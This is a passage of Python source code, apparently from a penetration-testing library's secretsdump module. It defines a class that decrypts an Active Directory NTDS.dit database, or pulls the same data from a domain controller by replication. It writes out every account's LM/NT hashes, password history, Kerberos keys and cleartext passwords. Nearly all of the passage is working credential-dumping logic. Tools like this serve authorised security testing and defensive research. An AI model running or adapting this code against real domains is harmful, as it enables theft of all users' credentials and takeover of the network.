'wb+') 1596 except Exception, e: 1597 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e))) 1598 1599 def endTransaction(self): 1600 if self.__resumeFile: 1601 self.__resumeFile.close() 1602 self.__resumeFile = None 1603 1604 1605class NTDSHashes: 1606 class SECRET_TYPE: 1607 NTDS = 0 1608 NTDS_CLEARTEXT = 1 1609 NTDS_KERBEROS = 2 1610 1611 NAME_TO_INTERNAL = { 1612 'uSNCreated':'ATTq131091', 1613 'uSNChanged':'ATTq131192', 1614 'name':'ATTm3', 1615 'objectGUID':'ATTk589826', 1616 'objectSid':'ATTr589970', 1617 'userAccountControl':'ATTj589832', 1618 'primaryGroupID':'ATTj589922', 1619 'accountExpires':'ATTq589983', 1620 'logonCount':'ATTj589993', 1621 'sAMAccountName':'ATTm590045', 1622 'sAMAccountType':'ATTj590126', 1623 'lastLogonTimestamp':'ATTq589876', 1624 'userPrincipalName':'ATTm590480', 1625 'unicodePwd':'ATTk589914', 1626 'dBCSPwd':'ATTk589879', 1627 'ntPwdHistory':'ATTk589918', 1628 'lmPwdHistory':'ATTk589984', 1629 'pekList':'ATTk590689', 1630 'supplementalCredentials':'ATTk589949', 1631 'pwdLastSet':'ATTq589920', 1632 } 1633 1634 NAME_TO_ATTRTYP = { 1635 'userPrincipalName': 0x90290, 1636 'sAMAccountName': 0x900DD, 1637 'unicodePwd': 0x9005A, 1638 'dBCSPwd': 0x90037, 1639 'ntPwdHistory': 0x9005E, 1640 'lmPwdHistory': 0x900A0, 1641 'supplementalCredentials': 0x9007D, 1642 'objectSid': 0x90092, 1643 'userAccountControl':0x90008, 1644 } 1645 1646 ATTRTYP_TO_ATTID = { 1647 'userPrincipalName': '1.2.840.113556.1.4.656', 1648 'sAMAccountName': '1.2.840.113556.1.4.221', 1649 'unicodePwd': '1.2.840.113556.1.4.90', 1650 'dBCSPwd': '1.2.840.113556.1.4.55', 1651 'ntPwdHistory': '1.2.840.113556.1.4.94', 1652 'lmPwdHistory': '1.2.840.113556.1.4.160', 1653 'supplementalCredentials': '1.2.840.113556.1.4.125', 1654 'objectSid': '1.2.840.113556.1.4.146', 1655 'pwdLastSet': '1.2.840.113556.1.4.96', 1656 'userAccountControl':'1.2.840.113556.1.4.8', 1657 } 1658 1659 KERBEROS_TYPE = { 1660 1:'dec-cbc-crc', 1661 3:'des-cbc-md5', 1662 17:'aes128-cts-hmac-sha1-96', 1663 18:'aes256-cts-hmac-sha1-96', 1664 0xffffff74:'rc4_hmac', 1665 } 1666 1667 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) 1668 1669 SAM_NORMAL_USER_ACCOUNT = 0x30000000 1670 SAM_MACHINE_ACCOUNT = 0x30000001 1671 SAM_TRUST_ACCOUNT = 0x30000002 1672 1673 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) 1674 1675 class PEKLIST_ENC(Structure): 1676 structure = ( 1677 ('Header','8s=""'), 1678 ('KeyMaterial','16s=""'), 1679 ('EncryptedPek',':'), 1680 ) 1681 1682 class PEKLIST_PLAIN(Structure): 1683 structure = ( 1684 ('Header','32s=""'), 1685 ('DecryptedPek',':'), 1686 ) 1687 1688 class PEK_KEY(Structure): 1689 structure = ( 1690 ('Header','1s=""'), 1691 ('Padding','3s=""'), 1692 ('Key','16s=""'), 1693 ) 1694 1695 class CRYPTED_HASH(Structure): 1696 structure = ( 1697 ('Header','8s=""'), 1698 ('KeyMaterial','16s=""'), 1699 ('EncryptedHash','16s=""'), 1700 ) 1701 1702 class CRYPTED_HASHW16(Structure): 1703 structure = ( 1704 ('Header','8s=""'), 1705 ('KeyMaterial','16s=""'), 1706 ('Unknown','<L=0'), 1707 ('EncryptedHash','32s=""'), 1708 ) 1709 1710 class CRYPTED_HISTORY(Structure): 1711 structure = ( 1712 ('Header','8s=""'), 1713 ('KeyMaterial','16s=""'), 1714 ('EncryptedHash',':'), 1715 ) 1716 1717 class CRYPTED_BLOB(Structure): 1718 structure = ( 1719 ('Header','8s=""'), 1720 ('KeyMaterial','16s=""'), 1721 ('EncryptedHash',':'), 1722 ) 1723 1724 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, 1725 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None, 1726 justUser=None, printUserStatus=False, 1727 perSecretCallback = lambda secretType, secret : _print_helper(secret), 1728 resumeSessionMgr=ResumeSessionMgrInFile): 1729 self.__bootKey = bootKey 1730 self.__NTDS = ntdsFile 1731 self.__history = history 1732 self.__noLMHash = noLMHash 1733 self.__useVSSMethod = useVSSMethod 1734 self.__remoteOps = remoteOps 1735 self.__pwdLastSet = pwdLastSet 1736 self.__printUserStatus = printUserStatus 1737 if self.__NTDS is not None: 1738 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) 1739 self.__cursor = self.__ESEDB.openTable('datatable') 1740 self.__tmpUsers = list() 1741 self.__PEK = list() 1742 self.__cryptoCommon = CryptoCommon() 1743 self.__kerberosKeys = OrderedDict() 1744 self.__clearTextPwds = OrderedDict() 1745 self.__justNTLM = justNTLM 1746 self.__resumeSession = resumeSessionMgr(resumeSession) 1747 self.__outputFileName = outputFileName 1748 self.__justUser = justUser 1749 self.__perSecretCallback = perSecretCallback 1750 1751 def getResumeSessionFile(self): 1752 return self.__resumeSession.getFileName() 1753 1754 def __getPek(self): 1755 LOG.info('Searching for pekList, be patient') 1756 peklist = None 1757 while True: 1758 try: 1759 record = self.__ESEDB.getNextRow(self.__cursor) 1760 except: 1761 LOG.error('Error while calling getNextRow(), trying the next one') 1762 continue 1763 1764 if record is None: 1765 break 1766 elif record[self.NAME_TO_INTERNAL['pekList']] is not None: 1767 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']]) 1768 break 1769 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1770 # Okey.. we found some users, but we're not yet ready to process them. 1771 # Let's just store them in a temp list 1772 self.__tmpUsers.append(record) 1773 1774 if peklist is not None: 1775 encryptedPekList = self.PEKLIST_ENC(peklist) 1776 if encryptedPekList['Header'][:4] == '\x02\x00\x00\x00': 1777 # Up to Windows 2012 R2 looks like header starts this way 1778 md5 = hashlib.new('md5') 1779 md5.update(self.__bootKey) 1780 for i in range(1000): 1781 md5.update(encryptedPekList['KeyMaterial']) 1782 tmpKey = md5.digest() 1783 rc4 = ARC4.new(tmpKey) 1784 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek'])) 1785 PEKLen = len(self.PEK_KEY()) 1786 for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ): 1787 cursor = i * PEKLen 1788 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen]) 1789 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key'])) 1790 self.__PEK.append(pek['Key']) 1791 1792 elif encryptedPekList['Header'][:4] == '\x03\x00\x00\x00': 1793 # Windows 2016 TP4 header starts this way 1794 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets. 1795 # using AES: 1796 # Key: the bootKey 1797 # CipherText: PEKLIST_ENC['EncryptedPek'] 1798 # IV: PEKLIST_ENC['KeyMaterial'] 1799 decryptedPekList = self.PEKLIST_PLAIN( 1800 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'], 1801 encryptedPekList['KeyMaterial'])) 1802 self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16]) 1803 LOG.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16])) 1804 1805 def __removeRC4Layer(self, cryptedHash): 1806 md5 = hashlib.new('md5') 1807 # PEK index can be found on header of each ciphered blob (pos 8-10) 1808 pekIndex = hexlify(cryptedHash['Header']) 1809 md5.update(self.__PEK[int(pekIndex[8:10])]) 1810 md5.update(cryptedHash['KeyMaterial']) 1811 tmpKey = md5.digest() 1812 rc4 = ARC4.new(tmpKey) 1813 plainText = rc4.encrypt(cryptedHash['EncryptedHash']) 1814 1815 return plainText 1816 1817 def __removeDESLayer(self, cryptedHash, rid): 1818 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) 1819 1820 Crypt1 = DES.new(Key1, DES.MODE_ECB) 1821 Crypt2 = DES.new(Key2, DES.MODE_ECB) 1822 1823 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) 1824 1825 return decryptedHash 1826 1827 @staticmethod 1828 def __fileTimeToDateTime(t): 1829 t -= 116444736000000000 1830 t /= 10000000 1831 if t < 0: 1832 return 'never' 1833 else: 1834 dt = datetime.fromtimestamp(t) 1835 return dt.strftime("%Y-%m-%d %H:%M") 1836 1837 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None): 1838 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures 1839 haveInfo = False 1840 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo') 1841 if self.__useVSSMethod is True: 1842 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: 1843 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: 1844 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 1845 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 1846 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 1847 else: 1848 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 1849 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) 1850 1851 if cipherText['Header'][:4] == '\x13\x00\x00\x00': 1852 # Win2016 TP4 decryption is different 1853 pekIndex = hexlify(cipherText['Header']) 1854 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 1855 cipherText['EncryptedHash'][4:], 1856 cipherText['KeyMaterial']) 1857 haveInfo = True 1858 else: 1859 plainText = self.__removeRC4Layer(cipherText) 1860 haveInfo = True 1861 else: 1862 domain = None 1863 userName = None 1864 replyVersion = 'V%d' % record['pdwOutVersion'] 1865 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: 1866 try: 1867 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 1868 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 1869 except Exception, e: 1870 LOG.debug('Failed to execute OidFromAttid with error %s' % e) 1871 # Fallbacking to fixed table and hope for the best 1872 attId = attr['attrTyp'] 1873 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 1874 1875 if attId == LOOKUP_TABLE['userPrincipalName']: 1876 if attr['AttrVal']['valCount'] > 0: 1877 try: 1878 domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 1879 except: 1880 domain = None 1881 else: 1882 domain = None 1883 elif attId == LOOKUP_TABLE['sAMAccountName']: 1884 if attr['AttrVal']['valCount'] > 0: 1885 try: 1886 userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 1887 except: 1888 LOG.error( 1889 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 1890 userName = 'unknown' 1891 else: 1892 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 1893 userName = 'unknown' 1894 if attId == LOOKUP_TABLE['supplementalCredentials']: 1895 if attr['AttrVal']['valCount'] > 0: 1896 blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 1897 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) 1898 if len(plainText) > 24: 1899 haveInfo = True 1900 if domain is not None: 1901 userName = '%s\\%s' % (domain, userName) 1902 1903 if haveInfo is True: 1904 try: 1905 userProperties = samr.USER_PROPERTIES(plainText) 1906 except: 1907 # On some old w2k3 there might be user properties that don't 1908 # match [MS-SAMR] structure, discarding them 1909 return 1910 propertiesData = userProperties['UserProperties'] 1911 for propertyCount in range(userProperties['PropertyCount']): 1912 userProperty = samr.USER_PROPERTY(propertiesData) 1913 propertiesData = propertiesData[len(userProperty):] 1914 # For now, we will only process Newer Kerberos Keys and CLEARTEXT 1915 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': 1916 propertyValueBuffer = unhexlify(userProperty['PropertyValue']) 1917 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) 1918 data = kerbStoredCredentialNew['Buffer'] 1919 for credential in range(kerbStoredCredentialNew['CredentialCount']): 1920 keyDataNew = samr.KERB_KEY_DATA_NEW(data) 1921 data = data[len(keyDataNew):] 1922 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] 1923 1924 if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): 1925 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue)) 1926 else: 1927 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue)) 1928 # We're just storing the keys, not printing them, to make the output more readable 1929 # This is kind of ugly... but it's what I came up with tonight to get an ordered 1930 # set :P. Better ideas welcomed ;) 1931 self.__kerberosKeys[answer] = None 1932 if keysFile is not None: 1933 self.__writeOutput(keysFile, answer + '\n') 1934 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': 1935 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property 1936 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. 1937 try: 1938 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) 1939 except UnicodeDecodeError: 1940 # This could be because we're decoding a machine password. Printing it hex 1941 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue']) 1942 1943 self.__clearTextPwds[answer] = None 1944 if clearTextFile is not None: 1945 self.__writeOutput(clearTextFile, answer + '\n') 1946 1947 if clearTextFile is not None: 1948 clearTextFile.flush() 1949 if keysFile is not None: 1950 keysFile.flush() 1951 1952 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo') 1953 1954 def __decryptHash(self, record, prefixTable=None, outputFile=None): 1955 LOG.debug('Entering NTDSHashes.__decryptHash') 1956 if self.__useVSSMethod is True: 1957 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) 1958 1959 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) 1960 rid = sid.formatCanonical().split('-')[-1] 1961 1962 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: 1963 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) 1964 tmpLMHash = self.__removeRC4Layer(encryptedLMHash) 1965 LMHash = self.__removeDESLayer(tmpLMHash, rid) 1966 else: 1967 LMHash = ntlm.LMOWFv1('', '') 1968 1969 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: 1970 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 1971 if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00': 1972 # Win2016 TP4 decryption is different 1973 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) 1974 pekIndex = hexlify(encryptedNTHash['Header']) 1975 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 1976 encryptedNTHash['EncryptedHash'][:16], 1977 encryptedNTHash['KeyMaterial']) 1978 else: 1979 tmpNTHash = self.__removeRC4Layer(encryptedNTHash) 1980 NTHash = self.__removeDESLayer(tmpNTHash, rid) 1981 else: 1982 NTHash = ntlm.NTOWFv1('', '') 1983 1984 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 1985 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 1986 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 1987 else: 1988 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 1989 1990 if self.__printUserStatus is True: 1991 # Enabled / disabled users 1992 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None: 1993 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1': 1994 userAccountStatus = 'Disabled' 1995 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0': 1996 userAccountStatus = 'Enabled' 1997 else: 1998 userAccountStatus = 'N/A' 1999 2000 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: 2001 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) 2002 else: 2003 pwdLastSet = 'N/A' 2004 2005 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) 2006 if self.__pwdLastSet is True: 2007 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 2008 if self.__printUserStatus is True: 2009 answer = "%s (status=%s)" % (answer, userAccountStatus) 2010 2011 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 2012 2013 if outputFile is not None: 2014 self.__writeOutput(outputFile, answer + '\n') 2015 2016 if self.__history: 2017 LMHistory = [] 2018 NTHistory = [] 2019 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: 2020 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) 2021 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) 2022 for i in range(0, len(tmpLMHistory) / 16): 2023 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 2024 LMHistory.append(LMHash) 2025 2026 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: 2027 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) 2028 2029 if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00': 2030 # Win2016 TP4 decryption is different 2031 pekIndex = hexlify(encryptedNTHistory['Header']) 2032 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 2033 encryptedNTHistory['EncryptedHash'], 2034 encryptedNTHistory['KeyMaterial']) 2035 else: 2036 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) 2037 2038 for i in range(0, len(tmpNTHistory) / 16): 2039 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 2040 NTHistory.append(NTHash) 2041 2042 for i, (LMHash, NTHash) in enumerate( 2043 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 2044 if self.__noLMHash: 2045 lmhash = hexlify(ntlm.LMOWFv1('', '')) 2046 else: 2047 lmhash = hexlify(LMHash) 2048 2049 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash)) 2050 if outputFile is not None: 2051 self.__writeOutput(outputFile, answer + '\n') 2052 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 2053 else: 2054 replyVersion = 'V%d' %record['pdwOutVersion'] 2055 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2056 domain = None 2057 if self.__history: 2058 LMHistory = [] 2059 NTHistory = [] 2060 2061 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0] 2062 2063 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: 2064 try: 2065 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 2066 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 2067 except Exception, e: 2068 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) 2069 # Fallbacking to fixed table and hope for the best 2070 attId = attr['attrTyp'] 2071 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 2072 2073 if attId == LOOKUP_TABLE['dBCSPwd']: 2074 if attr['AttrVal']['valCount'] > 0: 2075 encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 2076 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) 2077 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) 2078 else: 2079 LMHash = ntlm.LMOWFv1('', '') 2080 elif attId == LOOKUP_TABLE['unicodePwd']: 2081 if attr['AttrVal']['valCount'] > 0: 2082 encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 2083 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) 2084 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) 2085 else: 2086 NTHash = ntlm.NTOWFv1('', '') 2087 elif attId == LOOKUP_TABLE['userPrincipalName']: 2088 if attr['AttrVal']['valCount'] > 0: 2089 try: 2090 domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 2091 except: 2092 domain = None 2093 else: 2094 domain = None 2095 elif attId == LOOKUP_TABLE['sAMAccountName']: 2096 if attr['AttrVal']['valCount'] > 0: 2097 try: 2098 userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 2099 except: 2100 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2101 userName = 'unknown' 2102 else: 2103 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2104 userName = 'unknown' 2105 elif attId == LOOKUP_TABLE['objectSid']: 2106 if attr['AttrVal']['valCount'] > 0: 2107 objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 2108 else: 2109 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2110 objectSid = rid 2111 elif attId == LOOKUP_TABLE['pwdLastSet']: 2112 if attr['AttrVal']['valCount'] > 0: 2113 try: 2114 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) 2115 except: 2116 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2117 pwdLastSet = 'N/A' 2118 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']: 2119 if attr['AttrVal']['valCount'] > 0: 2120 if (unpack('<L', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE: 2121 userAccountStatus = 'Disabled' 2122 else: 2123 userAccountStatus = 'Enabled' 2124 else: 2125 userAccountStatus = 'N/A' 2126 2127 if self.__history: 2128 if attId == LOOKUP_TABLE['lmPwdHistory']: 2129 if attr['AttrVal']['valCount'] > 0: 2130 encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 2131 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) 2132 for i in range(0, len(tmpLMHistory) / 16): 2133 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) 2134 LMHistory.append(LMHashHistory) 2135 else: 2136 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2137 elif attId == LOOKUP_TABLE['ntPwdHistory']: 2138 if attr['AttrVal']['valCount'] > 0: 2139 encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 2140 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) 2141 for i in range(0, len(tmpNTHistory) / 16): 2142 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) 2143 NTHistory.append(NTHashHistory) 2144 else: 2145 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 2146 2147 if domain is not None: 2148 userName = '%s\\%s' % (domain, userName) 2149 2150 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) 2151 if self.__pwdLastSet is True: 2152 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) 2153 if self.__printUserStatus is True: 2154 answer = "%s (status=%s)" % (answer, userAccountStatus) 2155 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 2156 2157 if outputFile is not None: 2158 self.__writeOutput(outputFile, answer + '\n') 2159 2160 if self.__history: 2161 for i, (LMHashHistory, NTHashHistory) in enumerate( 2162 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): 2163 if self.__noLMHash: 2164 lmhash = hexlify(ntlm.LMOWFv1('', '')) 2165 else: 2166 lmhash = hexlify(LMHashHistory) 2167 2168 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory)) 2169 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) 2170 if outputFile is not None: 2171 self.__writeOutput(outputFile, answer + '\n') 2172 2173 if outputFile is not None: 2174 outputFile.flush() 2175 2176 LOG.debug('Leaving NTDSHashes.__decryptHash') 2177 2178 def dump(self): 2179 hashesOutputFile = None 2180 keysOutputFile = None 2181 clearTextOutputFile = None 2182 2183 if self.__useVSSMethod is True: 2184 if self.__NTDS is None: 2185 # No NTDS.dit file provided and were asked to use VSS 2186 return 2187 else: 2188 if self.__NTDS is None: 2189 # DRSUAPI method, checking whether target is a DC 2190 try: 2191 if self.__remoteOps is not None: 2192 try: 2193 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) 2194 except: 2195 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: 2196 # RemoteOperations failed. That might be because there was no way to log into the 2197 # target system. We just have a last resort. Hope we have tickets cached and that they 2198 # will work 2199 pass 2200 else: 2201 raise 2202 else: 2203 raise Exception('No remote Operations available') 2204 except Exception, e: 2205 LOG.debug('Exiting NTDSHashes.dump() because %s' % e) 2206 # Target's not a DC 2207 return 2208 2209 try: 2210 # Let's check if we need to save results in a file 2211 if self.__outputFileName is not None: 2212 LOG.debug('Saving output to %s' % self.__outputFileName) 2213 # We have to export. Are we resuming a session? 2214 if self.__resumeSession.hasResumeData(): 2215 mode = 'a+' 2216 else: 2217 mode = 'w+' 2218 hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8') 2219 if self.__justNTLM is False: 2220 keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8') 2221 clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8') 2222 2223 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') 2224 if self.__useVSSMethod: 2225 # We start getting rows from the table aiming at reaching 2226 # the pekList. If we find users records we stored them 2227 # in a temp list for later process. 2228 self.__getPek() 2229 if self.__PEK is not None: 2230 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS) 2231 # First of all, if we have users already cached, let's decrypt their hashes 2232 for record in self.__tmpUsers: 2233 try: 2234 self.__decryptHash(record, outputFile=hashesOutputFile) 2235 if self.__justNTLM is False: 2236 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) 2237 except Exception, e: 2238 if LOG.level == logging.DEBUG: 2239 import traceback 2240 traceback.print_exc() 2241 try: 2242 LOG.error( 2243 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 2244 LOG.error(str(e)) 2245 pass 2246 except: 2247 LOG.error("Error while processing row!") 2248 LOG.error(str(e)) 2249 pass 2250 2251 # Now let's keep moving through the NTDS file and decrypting what we find 2252 while True: 2253 try: 2254 record = self.__ESEDB.getNextRow(self.__cursor) 2255 except: 2256 LOG.error('Error while calling getNextRow(), trying the next one') 2257 continue 2258 2259 if record is None: 2260 break 2261 try: 2262 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 2263 self.__decryptHash(record, outputFile=hashesOutputFile) 2264 if self.__justNTLM is False: 2265 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) 2266 except Exception, e: 2267 if LOG.level == logging.DEBUG: 2268 import traceback 2269 traceback.print_exc() 2270 try: 2271 LOG.error( 2272 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) 2273 LOG.error(str(e)) 2274 pass 2275 except: 2276 LOG.error("Error while processing row!") 2277 LOG.error(str(e)) 2278 pass 2279 else: 2280 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets') 2281 status = STATUS_MORE_ENTRIES 2282 enumerationContext = 0 2283 2284 # Do we have to resume from a previously saved session? 2285 if self.__resumeSession.hasResumeData(): 2286 resumeSid = self.__resumeSession.getResumeData() 2287 LOG.info('Resuming from SID %s, be patient' % resumeSid) 2288 else: 2289 resumeSid = None 2290 # We do not create a resume file when asking for a single user 2291 if self.__justUser is None: 2292 self.__resumeSession.beginTransaction() 2293 2294 if self.__justUser is not None: 2295 # Depending on the input received, we need to change the formatOffered before calling 2296 # 